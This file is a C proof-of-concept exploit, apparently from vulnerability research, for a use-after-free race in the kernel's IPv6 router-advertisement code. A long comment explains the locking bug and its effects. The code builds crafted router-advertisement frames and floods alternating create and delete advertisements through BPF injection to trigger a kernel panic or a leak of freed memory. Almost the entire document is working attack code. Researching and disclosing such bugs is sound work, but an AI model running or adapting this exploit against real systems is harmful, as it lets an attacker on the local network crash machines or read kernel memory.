DF-0417 / ra_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 | /* * DF-0417 PoC: UAF race on nd_defrouter via defrtrlist_update() * * Bug: sys/netinet6/nd6_rtr.c * defrtrlist_update() (line 661-707) returns a struct nd_defrouter * * with NO refcount taken and the nd6_mtx lock RELEASED. nd6_ra_input() * stores that pointer (line 285) and, in the unlocked prefix-option loop * (lines 291-345), passes it to prelist_update() (line 344). * * prelist_update() re-acquires nd6_mtx (line 866) but the pointer value * may already be stale: a concurrent deleter (another RA with rtlifetime==0 * on another netisr CPU, or nd6_timer expiry, or nd6_purge on iface down) * can run defrtrlist_del(dr) -> kfree(dr) during the window between * line 285 (lock released) and line 866 (lock re-acquired). * * If defrtrlist_del()'s prefix cleanup (lines 561-565) runs BEFORE * pfxrtr_add() stores the pointer, a DANGLING pointer to freed memory is * inserted into the prefix's advertising-router list. It is later field- * dereferenced in: * - find_pfxlist_reachable_router() nd6_rtr.c:1148-1149 (rtaddr, ifp) * - sysctl prefix export nd6.c:1493 / 2248-2253 (rtaddr, ifp) * * This is a network-reachable UAF. The realistic threat model is an on-link * attacker flooding Router Advertisements. This PoC simulates that attacker * by injecting crafted RAs into the victim's own vtnet0 input path via BPF * feedback mode (sys/net/bpf.c:604 if_input injection) -- BPF write requires * root, which stands in for "the attacker's own machine is on the link". * * The victim (this guest) must have RA acceptance enabled: * sysctl net.inet6.ip6.accept_rtadv=1 (host mode, ip6_forwarding=0) * * Trigger strategy: flood alternating CREATE (rtlifetime>0 + many prefix * options to widen the unlocked window) and DELETE (rtlifetime==0) RAs for * the same router address. The many prefix options stretch the window * between the lock release (line 679) and prelist_update's re-lock (866), * raising the probability that a concurrent DELETE frees the router while * the CREATE is mid-prefix-loop, leaving a dangling pfxrtr pointer that the * next on-link check dereferences as freed memory. * * On GENERIC (INVARIANTS ON) the slab poisons freed memory (WEIRD_ADDR * 0xdeadc0de) so the deferred read typically faults -> kernel panic. * On noinv the read silently leaks whatever reoccupied the slab. * * Usage (as root on the victim, simulating the on-link attacker): * ./ra_race [-i ifname] [-n count] [-p prefixes] [-s secs] * -i ifname inject interface (default vtnet0) * -n count total RAs to send (default 200000) * -p prefixes prefix-info options per CREATE RA (default 8, widens window) * -s secs cap runtime in seconds (default 60) */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/types.h> #include <net/if.h> #include <net/bpf.h> #include <net/ethernet.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #include <arpa/inet.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <time.h> #define ALL_NODES "ff02::1" /* attacker link-local source (must be link-local fe80::/10) */ #define ATTK_LLA "fe80::dead:beef:cafe" /* attacker ethernet (link-local multicast for RA is 33:33:00:00:00:01) */ static const unsigned char ether_allnodes[6] = { 0x33, 0x33, 0x00, 0x00, 0x00, 0x01 }; static const unsigned char ether_attacker[6] = { 0x52, 0x54, 0x00, 0xde, 0xad, 0xbe }; /* ICMPv6 checksum over pseudo-header + payload */ static u_int16_t icmp6_cksum(const struct in6_addr *src, const struct in6_addr *dst, const u_int8_t *payload, int len) { u_int32_t sum = 0; int i; for (i = 0; i < 8; i++) { /* pseudo: src + dst */ sum += ntohs(src->s6_addr16[i]); sum += ntohs(dst->s6_addr16[i]); } sum += len; /* pseudo: payload length */ sum += IPPROTO_ICMPV6; /* pseudo: next header */ for (i = 0; i < (len & ~1); i += 2) sum += (payload[i] << 8) | payload[i+1]; if (len & 1) sum += payload[len-1] << 8; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return (u_int16_t)(~sum & 0xffff); } /* * Build one full Ethernet+IPv6+ICMPv6-RA frame in `buf`. * create!=0 => router lifetime>0 with `npfx` prefix-info options. * create==0 => router lifetime=0 (deletes the router). */ static int build_ra(u_int8_t *buf, int create, int npfx, const struct in6_addr *src6, const struct in6_addr *dst6) { int off = 0; /* --- Ethernet header --- */ memcpy(buf + off, ether_allnodes, 6); off += 6; memcpy(buf + off, ether_attacker, 6); off += 6; buf[off++] = 0x86; buf[off++] = 0xdd; /* EtherType IPv6 */ /* --- IPv6 header --- */ struct ip6_hdr *ip6 = (struct ip6_hdr *)(buf + off); ip6->ip6_flow = htonl(6 << 28); int icmp_off = off + sizeof(struct ip6_hdr); int ra_len = sizeof(struct nd_router_advert); int opt_len = 0; /* prefix info options */ ra_len += npfx * 8 * 3; /* each PI option = 32 bytes = 8*3? nd_opt_hdr len is in 8-byte units, PI = 4 units = 32 bytes */ /* source link-layer addr option (1 unit = 8 bytes: 2 hdr + 6 mac) */ ra_len += 8; ip6->ip6_plen = htons(ra_len); ip6->ip6_nxt = IPPROTO_ICMPV6; ip6->ip6_hlim = 255; /* MUST be 255 for RA */ ip6->ip6_src = *src6; ip6->ip6_dst = *dst6; off = icmp_off; /* --- ICMPv6 Router Advertisement --- */ struct nd_router_advert *ra = (struct nd_router_advert *)(buf + off); ra->nd_ra_type = ND_ROUTER_ADVERT; /* 134 */ ra->nd_ra_code = 0; ra->nd_ra_cksum = 0; ra->nd_ra_curhoplimit = 64; ra->nd_ra_flags_reserved = 0; ra->nd_ra_router_lifetime = create ? htons(1800) : htons(0); /* 1800s or 0 */ ra->nd_ra_reachable = 0; ra->nd_ra_retransmit = 0; off += sizeof(struct nd_router_advert); /* prefix information options (only meaningful for CREATE; harmless for DELETE) */ int p; for (p = 0; p < npfx; p++) { struct nd_opt_prefix_info *pi = (struct nd_opt_prefix_info *)(buf + off); pi->nd_opt_pi_type = ND_OPT_PREFIX_INFORMATION; /* 3 */ pi->nd_opt_pi_len = 4; /* 4 * 8 = 32 bytes */ pi->nd_opt_pi_prefix_len = 64; pi->nd_opt_pi_flags_reserved = ND_OPT_PI_FLAG_ONLINK | ND_OPT_PI_FLAG_AUTO; pi->nd_opt_pi_valid_time = htonl(3600); pi->nd_opt_pi_preferred_time = htonl(1800); pi->nd_opt_pi_reserved2 = 0; /* unique-ish prefix: 2001:db8::p */ memset(&pi->nd_opt_pi_prefix, 0, sizeof(pi->nd_opt_pi_prefix)); pi->nd_opt_pi_prefix.s6_addr16[0] = htons(0x2001); pi->nd_opt_pi_prefix.s6_addr16[1] = htons(0x0db8); pi->nd_opt_pi_prefix.s6_addr[15] = (u_int8_t)(p + 1); off += sizeof(struct nd_opt_prefix_info); } /* source link-layer address option */ struct nd_opt_hdr *sll = (struct nd_opt_hdr *)(buf + off); sll->nd_opt_type = ND_OPT_SOURCE_LINKADDR; /* 1 */ sll->nd_opt_len = 1; /* 1 * 8 = 8 bytes */ memcpy(buf + off + 2, ether_attacker, 6); off += 8; /* checksum over the ICMPv6 payload (from ra .. off) */ int plen = off - icmp_off; ra->nd_ra_cksum = htons(icmp6_cksum(src6, dst6, (u_int8_t *)ra, plen)); return off; } int main(int argc, char **argv) { const char *ifname = "vtnet0"; long count = 200000; int npfx = 8; int secs = 60; int opt; while ((opt = getopt(argc, argv, "i:n:p:s:")) != -1) { switch (opt) { case 'i': ifname = optarg; break; case 'n': count = atol(optarg); break; case 'p': npfx = atoi(optarg); break; case 's': secs = atoi(optarg); break; default: fprintf(stderr, "usage: %s [-i if] [-n n] [-p pfx] [-s sec]\n", argv[0]); return 2; } } struct in6_addr src6, dst6; if (inet_pton(AF_INET6, ATTK_LLA, &src6) != 1 || inet_pton(AF_INET6, ALL_NODES, &dst6) != 1) { fprintf(stderr, "inet_pton failed\n"); return 2; } /* open /dev/bpfN */ char dev[16]; int bfd = -1; int n; for (n = 0; n < 16; n++) { snprintf(dev, sizeof(dev), "/dev/bpf%d", n); bfd = open(dev, O_RDWR); if (bfd >= 0) break; if (errno != EBUSY) { perror(dev); return 2; } } if (bfd < 0) { fprintf(stderr, "no free bpf device\n"); return 2; } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, ifname, IFNAMSIZ); if (ioctl(bfd, BIOCSETIF, &ifr) < 0) { perror("BIOCSETIF"); return 2; } u_int one = 1; if (ioctl(bfd, BIOCSHDRCMPLT, &one) < 0) { perror("BIOCSHDRCMPLT"); return 2; } if (ioctl(bfd, BIOCSFEEDBACK, &one) < 0) { perror("BIOCSFEEDBACK"); return 2; } u_int blen = 0; if (ioctl(bfd, BIOCGBLEN, &blen) < 0) { perror("BIOCGBLEN"); return 2; } u_int8_t *create = malloc(blen); u_int8_t *dele = malloc(blen); if (!create || !dele) { perror("malloc"); return 2; } int clen = build_ra(create, 1, npfx, &src6, &dst6); int dlen = build_ra(dele, 0, npfx, &src6, &dst6); /* * BPF-feedback workaround: bpf_movein() (sys/net/bpf.c) strips the first * 14 bytes of the write buffer into the sockaddr used as the OUTPUT * ethernet header, then advances the mbuf past them. The feedback path * dups that header-stripped mbuf into if_input(), so a normally-framed * [eth][ipv6] write is mis-framed on loopback. Prepending a DUPLICATE * 14-byte ethernet header makes the stripped copy become the output * header while the remaining copy frames the loopback copy correctly: * write [eth][eth][ipv6][icmp6] * -> output uses 1st [eth], feedback if_input sees [eth][ipv6][icmp6]. */ u_int8_t *cb = malloc(clen + 14), *db = malloc(dlen + 14); memmove(cb + 14, create, clen); memcpy(cb, create, 14); memmove(db + 14, dele, dlen); memcpy(db, dele, 14); clen += 14; dlen += 14; fprintf(stderr, "DF-0417 ra_race: if=%s create_frames=toggle every RA, prefixes/RA=%d, " "count=%ld, cap=%ds (BPF dup-header feedback workaround)\n", ifname, npfx, count, secs); fprintf(stderr, " attacker LLA=%s -> %s ; router lifetime CREATE=1800s DELETE=0s\n", ATTK_LLA, ALL_NODES); time_t t0 = time(NULL); long i, sent = 0, errs = 0; for (i = 0; i < count; i++) { /* alternate create / delete to maximize the create-in-flight vs * delete-frees race. Both are injected via BPF feedback (if_input). */ u_int8_t *f = (i & 1) ? db : cb; int fl = (i & 1) ? dlen : clen; ssize_t w = write(bfd, f, fl); if (w < 0) { errs++; if (errs < 5) perror("write bpf"); } else sent++; if ((i & 0x3fff) == 0 && (time(NULL) - t0) >= secs) { fprintf(stderr, " time cap reached at %ld frames\n", i); break; } } fprintf(stderr, " done: sent=%ld errs=%ld elapsed=%lds\n", sent, errs, (long)(time(NULL) - t0)); return 0; } |